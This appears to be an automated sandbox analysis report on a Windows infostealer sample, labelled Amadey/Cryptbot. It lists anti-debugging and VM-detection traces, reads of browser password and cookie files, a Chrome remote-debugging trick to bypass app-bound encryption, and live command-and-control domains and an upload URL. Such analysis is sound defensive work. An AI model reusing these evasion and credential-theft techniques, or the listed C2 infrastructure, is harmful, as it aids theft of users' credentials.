Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0457 second address: 6EA04E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDEF8F40776h 0x00000011 push eax 0x00000012 jmp 00007FDEF8F4076Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 jmp 00007FDEF8F40774h 0x0000001e call 00007FDEF8F40772h 0x00000023 jmp 00007FDEF8F40772h 0x00000028 pop eax 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FDEF8F40773h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA04E8 second address: 6EA04EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA04EC second address: 6EA04F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA04F2 second address: 6EA04F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA05BF second address: 6EA0631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDEF8F40777h 0x00000009 add ax, 1CDEh 0x0000000e jmp 00007FDEF8F40779h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FDEF8F40770h 0x0000001a and ch, FFFFFFD8h 0x0000001d jmp 00007FDEF8F4076Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDEF8F40770h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EA0631 second address: 6EA0637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F10B9B second address: 6F10C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDEF8F4076Eh 0x00000009 adc eax, 238135C8h 0x0000000f jmp 00007FDEF8F4076Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FDEF8F40778h 0x0000001b sub si, 3828h 0x00000020 jmp 00007FDEF8F4076Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 je 00007FDF69565D6Ch 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FDEF8F40774h 0x00000036 jmp 00007FDEF8F40775h 0x0000003b popfd 0x0000003c mov di, si 0x0000003f popad 0x00000040 sub ecx, ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FDEF8F40776h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F10C3C second address: 6F10C73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F19BBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ecx 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FDEF8F19BBEh 0x00000016 or ecx, 419B2A78h 0x0000001c jmp 00007FDEF8F19BBBh 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F10C73 second address: 6F10C82 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 47555DAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a shr eax, 1 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EF0E60 second address: 6EF0E65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6EF0E65 second address: 6EF0EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 5580h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007FDEF8F40774h 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDEF8F40777h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F0050D second address: 6F00511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00511 second address: 6F00540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FDEF8F4076Eh 0x0000000f add cx, 4BA8h 0x00000014 jmp 00007FDEF8F4076Bh 0x00000019 popfd 0x0000001a push eax 0x0000001b push edx 0x0000001c mov si, CFB5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00540 second address: 6F00553 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov dx, 98EEh 0x0000000f mov ax, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00553 second address: 6F00581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEF8F40770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movsx ebx, cx 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDEF8F4076Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00581 second address: 6F00587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00708 second address: 6F0070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F0070C second address: 6F00712 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 6F00712 second address: 6F0072F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEF8F40779h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Special instruction interceptor: First address: 82D9BC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Special instruction interceptor: First address: 9CF61A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Special instruction interceptor: First address: 82B3BE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Special instruction interceptor: First address: 9F2AF1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Special instruction interceptor: First address: A5B81C instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window / User API: threadDelayed 869	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window / User API: threadDelayed 1305	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window / User API: threadDelayed 856	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 2216	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Window / User API: threadDelayed 7783	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.2 %

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe TID: 3656	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe TID: 1212	Thread sleep time: -1738869s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe TID: 6732	Thread sleep time: -2611305s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe TID: 1692	Thread sleep time: -1712856s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 6516	Thread sleep count: 2216 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 6516	Thread sleep time: -221600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 6516	Thread sleep count: 7783 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 6516	Thread sleep time: -778300s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\.ms-ad\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\	Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: VMware
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr	Binary or memory string: VMware, Inc.
Source: kGxQbLOG7s.exe, 00000000.00000003.1470875933.0000000006711000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: kGxQbLOG7s.exe, 00000000.00000003.1468373319.00000000013A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla
Source: Amcache.hve.14.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000005.00000002.1944916076.000001E7D6038000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr	Binary or memory string: vmci.sys
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.14.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: NTICE
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: SICE
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00488230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00488230

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_0048116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	9_2_0048116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00481160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_00481160
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_004811A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	9_2_004811A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_004813C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	9_2_004813C9

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C8284D0 cpuid

9_2_6C8284D0

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: msmpeng.exe
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 9.2.service123.exe.6c7a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: service123.exe PID: 5956, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.9:49707 -> 147.45.113.159:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Process Injection	1 Masquerading	1 OS Credential Dumping	741 Security Software Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Scheduled Task/Job	24 Virtualization/Sandbox Evasion	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Data from Local System	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	5 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	234 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
kGxQbLOG7s.exe	66%	ReversingLabs	Win32.Trojan.Amadey
kGxQbLOG7s.exe	100%	Avira	TR/Crypt.TPM.Gen
kGxQbLOG7s.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.181.132	true	false	high
home.twentytk20pn.top	147.45.113.159	true	false	high
twentytk20pn.top	147.45.113.159	true	false	high
httpbin.org	34.226.108.155	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://twentytk20pn.top/v1/upload.php	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=STlp5Lj8NycoUDdP1734711207	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000005.00000002.1960164988.0000073800C38000.00000004.00000800.00020000.00000000.sdmp	false	high
https://gcc.gnu.org/bugs/):	ehoYPkfWhVokJMBQaExv.dll.0.dr	false	high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000005.00000002.1953780586.00000738000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960316906.0000073800C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	false	high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000005.00000002.1953439866.0000073800078000.00000004.00000800.00020000.00000000.sdmp	false	high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/J	chrome.exe, 00000005.00000002.1959303194.0000073800A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000005.00000002.1956633120.0000073800548000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1955587552.000007380040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958087211.0000073800878000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4633	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7382	chrome.exe, 00000005.00000003.1923367409.0000073800380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/284462263	chrome.exe, 00000005.00000003.1923394613.0000073800A1C000.00000004.00000800.00020000.00000000.sdmp	false	high
